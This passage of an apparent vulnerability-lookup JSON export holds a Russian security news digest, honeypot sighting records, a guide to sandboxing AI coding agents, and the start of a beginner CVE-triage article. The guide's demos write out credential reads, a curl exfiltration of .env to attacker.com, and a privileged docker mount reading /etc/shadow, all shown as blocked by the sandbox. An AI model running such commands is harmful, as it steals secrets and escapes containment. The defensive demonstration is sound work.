\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 Proof-of-Concept, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c:  POC\n\n    \ud83d\udcd6 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c: LPE AnyDesk research\n\n\n\ud83d\udee1\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android\n\nGoogle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Android, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0435 47 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\nCVE-2024-53104: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB Video Class (UVC) \u044f\u0434\u0440\u0430 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0434\u0435\u043e\u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 uvc_parse_format(). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0441\u0431\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\nCVE-2024-45569: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 WLAN \u043e\u0442 Qualcomm \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.8. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Google Pixel \u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c\n\n\n\u0412\u0441\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438! \u041e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u0441 \u043d\u0430\u043c\u0438. \u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u0431\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430!\n\n#news", "creation_timestamp": "2026-08-05T00:00:33.448701Z"}, {"uuid": "b38d964c-2a6c-447c-ab27-0e63d0a69350", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "6da58947-48d5-4029-8f4f-9ccc34dce5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "d504f3b2-eb5b-45fa-8813-3c2479f1e336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-15)", "content": "", "creation_timestamp": "2026-08-16T10:15:03.747306Z"}, {"uuid": "9031fac4-2464-40d7-8b45-e8b2bf7a1a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-pq67-2wwv-3xjx", "content": "", "creation_timestamp": "2025-03-27T18:31:28.000000Z"}, {"uuid": "ded765ce-32d5-48af-ad2a-55f8bc07e5c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-13)", "content": "", "creation_timestamp": "2026-08-14T10:00:03.099739Z"}, {"uuid": "6e7c002e-cd29-4a7c-888c-5344676d5fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-13)", "content": "", "creation_timestamp": "2026-08-14T10:15:04.408764Z"}, {"uuid": "b5faa67a-2bee-408d-a422-5632c6adc758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-27)", "content": "", "creation_timestamp": "2026-05-27T00:00:00.000000Z"}, {"uuid": "0e78dd46-6775-4686-abb4-dfdd659dda9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-27)", "content": "", "creation_timestamp": "2026-05-27T00:00:00.000000Z"}, {"uuid": "baedbc65-0c1c-439a-bf36-403d48d734ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-19)", "content": "", "creation_timestamp": "2026-08-20T10:00:03.644941Z"}, {"uuid": "8924039a-5bfd-49a8-ae8c-541254e0690a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-28)", "content": "", "creation_timestamp": "2026-05-28T00:00:00.000000Z"}, {"uuid": "190f2449-973d-48b9-a44e-9c0b0ee41201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-28)", "content": "", "creation_timestamp": "2026-05-28T00:00:00.000000Z"}, {"uuid": "3c787cfd-e184-45b7-b1fe-32bc3a4a2314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-19)", "content": "", "creation_timestamp": "2026-08-20T10:15:09.670440Z"}, {"uuid": "22ea234d-d496-4bf5-9f2c-defcd19f3cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:00:05.318914Z"}, {"uuid": "73862e43-97dd-450b-8751-32b521c76c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:15:08.692236Z"}, {"uuid": "1e147309-d395-41b0-b54e-15db494294f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://gist.github.com/Sagar2366/6b01a07e54bbccfeb747b6ee441b17f4", "content": "# Secure AI Coding Agents with Docker Sandboxes\n\n> By Sagar Utekar \u2014 Docker Captain | Senior SRE, CrowdStrike | CNCF Ambassador\n\n---\n\n## Why This Matters\n\n- 25% of production code is now AI-authored\n- Developers using agents merge 60% more PRs\n- Agents run with YOUR credentials, filesystem, and network access\n- Your laptop is the new prod \u2014 with zero security boundaries\n\n**This isn't hypothetical.** NVIDIA's AI red team published CVE-2024-12366 \u2014 a documented case of AI-generated code escalating into remote code execution when there's no proper isolation. Two security tools (Trivy, KICS) were supply-chain-compromised in Q1 2026 via stolen credentials.\n\nThe tradeoff AI agents have imposed: limit access and the agent becomes not-so-autonomous. Give full access and it's a security nightmare. Docker Sandboxes breaks that compromise \u2014 full autonomy inside hard boundaries.\n\n---\n\n## What Are Docker Sandboxes?\n\nGive your AI agent its own **burner laptop**. It can install whatever it wants, spin up containers, do damage inside \u2014 your actual machine stays completely untouched.\n\nEach sandbox is an isolated microVM with its own kernel, Docker daemon, filesystem, and network stack. On Mac, that's Apple's Virtualization Framework. On Windows, Hyper-V. Actual hypervisor-level isolation.\n\n**You don't need Docker Desktop.** The `sbx` CLI is standalone.\n\n### How they work\n\n`sbx run claude` \u2192\n1. Boots a microVM with a dedicated kernel\n2. Mounts only your project workspace (read-write)\n3. Starts an isolated Docker daemon inside\n4. Routes all network through a policy-enforcing proxy\n5. Injects credentials at proxy level \u2014 never visible inside the sandbox\n6. Launches agent in full autonomous mode (no permission prompts)\n\n### Four layers of isolation\n\n| Layer | What it does |\n|-------|-------------|\n| VM isolation | Separate kernel \u2014 can't touch yours |\n| Private Docker | Agent builds/runs containers with zero visibility into host Docker |\n| Network isolation | Can't reach localhost or other sandboxes; outbound goes through filtering proxy |\n| Filesystem isolation | Only workspace syncs; ~/.ssh, ~/.aws, other projects invisible |\n\n### Why not containers?\n\nDocker started with containers for this but moved away:\n\n- **Shared kernel** \u2014 kernel exploit inside container hits your host OS\n- **Docker-in-Docker problem** \u2014 agents need Docker access. Options: privileged mode (tears down isolation) or mount host socket (gives full access to everything). Both bad.\n\nMicroVMs solve both: dedicated kernel + private Docker daemon.\n\n---\n\n## Setup\n\n```bash\n# Install (macOS)\nbrew install docker/tap/sbx\n\n# Install (Windows \u2014 enable HypervisorPlatform first)\nwinget install -h Docker.sbx\n\n# Install (Linux)\nsudo apt-get install docker-sbx\nsudo usermod -aG kvm $USER && newgrp kvm\n\n# Login\nsbx login\n\n# Store API key (saved in OS keychain, never in sandbox)\nsbx secret set ANTHROPIC_API_KEY\n```\n\nFirst login prompts for a network policy: **Open** | **Balanced** (recommended) | **Locked Down**\n\n---\n\n## Running Agents\n\n```bash\ncd ~/projects/my-app\nsbx run claude          # Claude Code\nsbx run codex           # OpenAI Codex\nsbx run copilot         # GitHub Copilot\nsbx run gemini          # Gemini CLI\nsbx run kiro            # Kiro\nsbx run shell           # Plain shell (for demos)\n```\n\nAgent starts in YOLO mode \u2014 no permission prompts. It can only see `/workspace/`.\n\n### Key commands\n\n| Command | What it does |\n|---------|-------------|\n| `sbx` | TUI dashboard (status, network, firewall) |\n| `sbx ls` | List sandboxes |\n| `sbx exec  -- bash` | Shell into running sandbox |\n| `sbx stop ` | Pause |\n| `sbx rm ` | Destroy |\n| `sbx policy ls` | View network rules |\n| `sbx policy log` | Audit: allowed + blocked requests |\n| `sbx policy allow network -g ` | Allowlist a domain |\n| `sbx ports publish  3000` | Forward port to host |\n| `sbx run claude --branch feature-x` | Git worktree isolation |\n| `sbx secret set ` | Store credential |\n| `sbx save` | Snapshot as template |\n\n---\n\n## The Workflow\n\n1. `sbx run claude` \u2014 agent starts in isolated microVM\n2. Turn it loose on any task \u2014 it works autonomously\n3. Changes sync to your real project directory (bidirectional, paths preserved)\n4. `sbx policy log` \u2014 see everything it did\n5. `sbx rm` \u2014 sandbox gone, code stays\n\nThe sandbox is invisible to `docker ps`. It's a separate management plane.\n\n---\n\n## Demos\n\n### Filesystem isolation\n\n```bash\n# Inside sandbox\nls -la ~/\n# \u2192 Almost nothing. No .aws, no .ssh, no personal files.\n\n# On your host\nls -la ~/\n# \u2192 Everything. All your secrets, all your files.\n```\n\n### Network policy enforcement\n\n```bash\n# ping-test.sh tries to reach an external IP\n./ping-test.sh\n# \u2192 ping: command not found (not pre-installed)\n\napt-get install -y iputils-ping\n./ping-test.sh\n# \u2192 Network is unreachable \u2014 BLOCKED by policy\n\n# Check audit log from host\nsbx policy log\n# \u2192 Shows: 3 blocked attempts to 198.51.100.1 (matches -c 3 in script)\n```\n\n### Credential exfiltration\n\n```bash\ncat ~/.aws/credentials        # \u2192 No such file\ncat ~/.ssh/id_rsa             # \u2192 No such file\ncurl https://attacker.com/exfil -d \"$(cat .env)\"  # \u2192 BLOCKED + logged\n```\n\n### Docker socket escape\n\n```bash\ndocker ps                     # \u2192 Sandbox containers only\ndocker run -v /:/host --privileged alpine cat /host/etc/shadow\n# \u2192 Shows sandbox FS, not host. Host unreachable.\n```\n\n### Port forwarding\n\n```bash\n# Inside sandbox: start a server\nnpm install && npm run dev -- --host 0.0.0.0 --port 3000\n\n# From host: forward the port\nsbx ports publish  3000\n\n# Open http://localhost:3000 \u2014 app visible in browser\n```\n\n---\n\n## Local Models (LM Studio / Ollama)\n\n```bash\n# Allow sandbox to reach local model server\nsbx policy allow network -g localhost:1234\n\n# Create and run sandbox with local model\nsbx create --name codex-local codex .\nsbx exec codex-local -- codex \\\n  --provider openai \\\n  --model  \\\n  --api-url http://host.docker.internal:1234/v1\n```\n\nLocal models are less capable \u2014 MORE likely to make mistakes. Sandboxing them is arguably more important than sandboxing frontier models.\n\n---\n\n## Customization\n\nSandbox VM is built from a Dockerfile. Customize your tooling:\n\n```dockerfile\nFROM ubuntu:24.04\nRUN apt-get update && apt-get install -y git curl nodejs npm \\\n    && npx playwright install --with-deps chromium\n```\n\nTeach agents to use custom tools via project skills (`CLAUDE.md`, `.cursorrules`).\n\n---\n\n## What the Sandbox Does NOT Protect\n\nYour **project files are fully writable**. The agent CAN delete or overwrite your code.\n\nThe sandbox protects your **system**. It does NOT protect your **project**.\n\n**Mitigation:** Commit often. Use `--branch` mode for risky tasks.\n\n---\n\n## Resource Overhead\n\n| | Container | Docker Sandbox |\n|--|-----------|----------------|\n| Disk | ~tens of MB | ~5\u20136 GB |\n| Memory | Shared | 4 GB per sandbox |\n\nRunning multiple agents in parallel adds up fast. Only sandbox agents that need guardrails.\n\n---\n\n## AI Governance (Enterprise)\n\n| Control | What it governs |\n|---------|----------------|\n| Sandbox Policy | Network + filesystem rules |\n| Credential Governance | Session-scoped tokens, exfiltration blocking |\n| MCP Tool Governance | Approved servers only |\n| Role-Based Policy | SAML/SCIM, team-specific rules |\n| Audit & Visibility | Every action logged \u2192 SIEM |\n\n---\n\n## Takeaway: The 3Cs\n\n| C | Principle | How |\n|---|-----------|-----|\n| **Contain** | Limit what agents reach | `sbx run` (microVM) |\n| **Control** | Govern what agents do | Network + MCP policies |\n| **Clarity** | See what agents did | `sbx policy log` |\n\n---\n\n## Known Gotchas\n\n| Issue | Workaround |\n|-------|------------|\n| ~5-6 GB disk per sandbox | Only sandbox what needs guardrails |\n| 4 GB memory per sandbox | Watch resources with multiple agents |\n| No SSH-agent/1Password | Unsigned commits \u2192 rebase-sign locally |\n| macOS requires Apple Silicon | Intel not supported |\n| Windows support experimental | Use at own risk |\n| Linux: container-based (weaker) | microVM only on Mac/Windows |\n| Env var change = recreate sandbox | Loses conversation history |\n| Project files fully writable | Commit early, push often |\n\n---\n\n*Sagar Utekar \u2014 Docker Captain | Senior SRE, CrowdStrike | CNCF Ambassador | @SagarUtekar*\n", "creation_timestamp": "2026-05-29T18:31:33.000000Z"}, {"uuid": "321f8296-1365-4a0c-ac17-e41842de6917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/SamChawla/c8bcbdda8b70e6e1a44bd777f5a4cfae", "content": "  # I Taught SQL to Read My Security Tools \u2014 Here's What Happened\n\n  ### A beginner-friendly story about CoralSentinel, a hackathon proof-of-concept that turns five different security tools into one giant spreadsheet you can ask questions.\n\n  ---\n\n  > **Before we start \u2014 what this is and isn't.** CoralSentinel is a *proof-of-concept* I built\n  > for a one-week hackathon (Pirates of the Coral-bean, WeMakeDevs \u00d7 Coral). It went through\n  > several rounds of writing a plan, building, testing, and throwing things away. It is **not** a\n  > finished product, and I won't pretend it is. It's a demonstration of how far one person can\n  > get on a genuinely hard problem when the right tool does the heavy lifting. That tool is\n  > **Coral**, and this article is mostly a love letter to it.\n  >\n  > If you're new to security tooling or to SQL, don't worry \u2014 I'll explain every term as we go.\n\n  ---\n\n  ## The problem, told as a story\n\n  Imagine you're on a team that builds an app. Like almost every app today, yours has some AI\n  features, so it pulls in popular Python packages \u2014 little bundles of reusable code written by\n  other people. Things like `requests` (for talking to the internet), `pillow` (for handling\n  images), and `django` (a web framework).\n\n  You didn't write those packages. You just `pip install`-ed them and moved on. **And that's\n  where the danger hides.**\n\n  Every so often, someone discovers a security hole in one of these packages. When that happens,\n  it gets a public ID \u2014 a **CVE** (Common Vulnerabilities and Exposures), which is just a unique\n  name for a known bug, like `CVE-2024-1234`. There's a free public database called **OSV** that\n  lists all of these.\n\n  Now the trouble starts. One morning your build breaks. Your **container registry** (the place\n  that stores the packaged-up version of your app, ready to ship) refuses to accept your new\n  build because it spotted a CVE. Or your **CI pipeline** (the automated system that tests and\n  ships your code) turns red. Someone has to figure out, fast:\n\n  > **\"Is this security hole actually hurting our running app right now \u2014 and is anyone already\n  > fixing it?\"**\n\n  That sounds like a five-minute question. In real life, it's 30 to 60 minutes of clicking\n  between five different tools, each of which knows only its own little corner:\n\n  - **OSV** \u2014 *What is this CVE? Which package versions are affected?*\n  - **GitHub** \u2014 *Has anyone opened a pull request to fix it?* (A \"pull request,\" or PR, is a\n    proposed code change.)\n  - **Sentry** \u2014 *Is our live app actually throwing errors related to this?* (Sentry is a tool\n    that catches and reports crashes in running apps.)\n  - **Jira** \u2014 *Is there a ticket for this? Who owns it?* (Jira is where teams track tasks.)\n  - **Grafana** \u2014 *Do our infrastructure dashboards show anything weird?*\n\n  You become a human copy-paste machine, stitching five tools together in your head. There's\n  even a word for this in the database world: you're doing a **JOIN** \u2014 manually matching up\n  related information from different sources. Computers are *really* good at JOINs. Humans are\n  slow and make mistakes.\n\n  So I wondered: what if I could make the computer do the JOIN?\n\n  ---\n\n  ## The \"aha\": what if every tool were just a table?\n\n  If you've ever used a spreadsheet, you already understand a **database table**: rows and\n  columns. And **SQL** (Structured Query Language) is just the most common way to ask questions\n  of tables. A SQL question \u2014 called a **query** \u2014 reads almost like English:\n\n  ```sql\n  SELECT name, severity\n  FROM vulnerabilities\n  WHERE severity = 'CRITICAL'\n  ```\n\n  That says: *\"Give me the name and severity from the vulnerabilities table, but only the\n  critical ones.\"* That's it. That's SQL.\n\n  The dream: what if OSV, GitHub, Sentry, Jira, and Grafana were all just **tables** I could\n  query with SQL \u2014 even *join together* in a single question?\n\n  Here's the catch, and why this is normally hard. Each of those five tools speaks its own\n  language over the internet (an **API**, or Application Programming Interface \u2014 the doorway\n  other programs use to talk to a service). Each API has:\n\n  - its own way of proving who you are (**authentication**),\n  - its own way of handing back results a page at a time (**pagination**),\n  - its own limits on how often you're allowed to ask (**rate limits**).\n\n  Normally, to talk to five APIs, you'd write five mini-programs, handle five logins, five\n  paging systems, five sets of limits, and *then* write the code to match the data up. That's a\n  solid week of plumbing before you answer a single question. For a one-person hackathon project,\n  that's a non-starter.\n\n  This is exactly the wall that stops most people. And this is where Coral comes in.\n\n  ---\n\n  ## Enter Coral: the universal translator\n\n  **Coral** is a tool that turns external services into SQL tables. You connect a \"source\" (like\n  GitHub or Sentry) once, and from then on you just write SQL. Coral handles the logins, the\n  paging, and the rate limits *below deck* \u2014 you never see them.\n\n  So those five separate tools? With Coral, they become five tables I can query and **JOIN** in\n  one breath. The week of plumbing... evaporates.\n\n  Connecting a source is genuinely a one-liner. Here's how CoralSentinel adds the OSV\n  vulnerability database:\n\n  ```bash\n  coral source add --file ./sources/osv/osv.yaml\n  ```\n\n  And GitHub, Jira, Sentry, and Grafana are \"bundled\" \u2014 Coral already knows how to talk to them,\n  so you just add them and provide your credentials.\n\n  > **A small bounty side-quest.** OSV wasn't one of Coral's built-in sources, so I wrote a\n  > \"source spec\" for it \u2014 a `osv.yaml` file that teaches Coral how to turn the OSV API into SQL\n  > tables. That file is reusable by anyone, and it's my little contribution back to the\n  > community. You don't need to understand its internals to follow this article; just know that\n  > teaching Coral a *new* tool is a config file, not a codebase.\n\n  ---\n\n  ## The one query that replaces an hour of clicking\n\n  Here's the heart of the whole project. This single SQL query asks all three of the most\n  important questions at once \u2014 *Is there a known vulnerability? Is anyone tracking it in Jira?\n  Is the live app throwing errors about it in Sentry?* \u2014 for the `pillow` image package:\n\n  ```sql\n  SELECT\n      osv.id AS cve,                 -- the vulnerability's public ID\n      osv.summary,                   -- a human description of it\n      osv.severity,                  -- how bad it is\n      j.key AS jira_ticket,          -- the Jira ticket, if one exists\n      j.status_name AS jira_status,  -- e.g. \"In Progress\"\n      CASE WHEN j.key IS NULL THEN 'UNTRACKED'\n          ELSE COALESCE(j.status_name, 'Tracked') END AS tracking_status,\n      COALESCE(se.count, 0) AS error_count,  -- how many live errors\n      se.level AS error_level\n  FROM osv.search_vulnerabilities(\n      package => 'pillow',\n      ecosystem => 'PyPI'\n  ) osv\n  LEFT JOIN jira.issues j\n      ON j.summary LIKE CONCAT('%', osv.id, '%')\n      OR j.summary LIKE CONCAT('%', 'pillow', '%')\n  LEFT JOIN sentry.issues se\n      ON se.level IN ('fatal', 'error')\n      AND CAST(se.last_seen AS TIMESTAMP) >= NOW() - INTERVAL '30' DAY\n      AND se.title LIKE CONCAT('%', 'pillow', '%')\n  ORDER BY osv.published DESC\n  LIMIT 5;\n  ```\n\n  Don't be intimidated \u2014 let's read it in plain English, top to bottom:\n\n  1. **`SELECT ...`** \u2014 \"Here are the columns I want back.\" (The CVE, its summary, the Jira\n    ticket, the error count, and so on.)\n  2. **`FROM osv.search_vulnerabilities(package => 'pillow', ...)`** \u2014 \"Start with all known\n    vulnerabilities for the `pillow` package, from PyPI (Python's package store).\"\n  3. **`LEFT JOIN jira.issues ...`** \u2014 \"For each vulnerability, also try to find a matching Jira\n    ticket.\"\n  4. **`LEFT JOIN sentry.issues ...`** \u2014 \"And also try to find matching live errors from the last\n    30 days in Sentry.\"\n\n  That `LEFT JOIN` is doing the work a human would otherwise do by tabbing between browser\n  windows. **Three tools, one question, a couple of seconds.**\n\n  ### Two beginner-friendly tricks that make it actually work\n\n  When I first tried this, it returned nothing. Here's why \u2014 and the two lessons that made it\n  click. These are worth knowing even if you only ever write SQL casually:\n\n  **1. Match *loosely*, not exactly.** A Jira ticket titled *\"Upgrade pillow to fix\n  CVE-2024-1234\"* will never be *exactly equal* to the string `CVE-2024-1234`. If you demand an\n  exact match, you get nothing. So instead of `=`, the query uses `LIKE` with `%` wildcards,\n  which means \"contains this somewhere.\" `j.summary LIKE '%pillow%'` means \"any Jira ticket whose\n  title contains the word pillow.\" Real-world data is messy; loose matching is how you cope.\n\n  **2. Match on *time windows*, not exact timestamps.** A live error and a vulnerability won't\n  happen at the exact same millisecond. So rather than demanding equal timestamps, the query\n  asks for errors \"in the last 30 days\" (`NOW() - INTERVAL '30' DAY`). Time *ranges*, not exact\n  moments.\n\n  These two ideas \u2014 **loose text matching** and **time windows** \u2014 are the difference between a\n  query that works in a tidy demo and one that works on real, messy data.\n\n  ---\n\n  ## The moment it all pays off\n\n  So you run a scan across a handful of your AI-stack packages, and CoralSentinel sorts every\n  vulnerability into one of three buckets. (The colored dots are exactly what the dashboard\n  shows.)\n\n  - \ud83d\udd34 **Untracked** \u2014 There are CVEs in `requests` and `pillow`, but **no Jira ticket exists for\n    them**. Nobody on the team even knows. These slipped through the cracks. These are packages\n    in nearly *every* AI app, by the way.\n  - \ud83d\udd34 **Actively breaking** \u2014 Here's the one that gives me chills. The 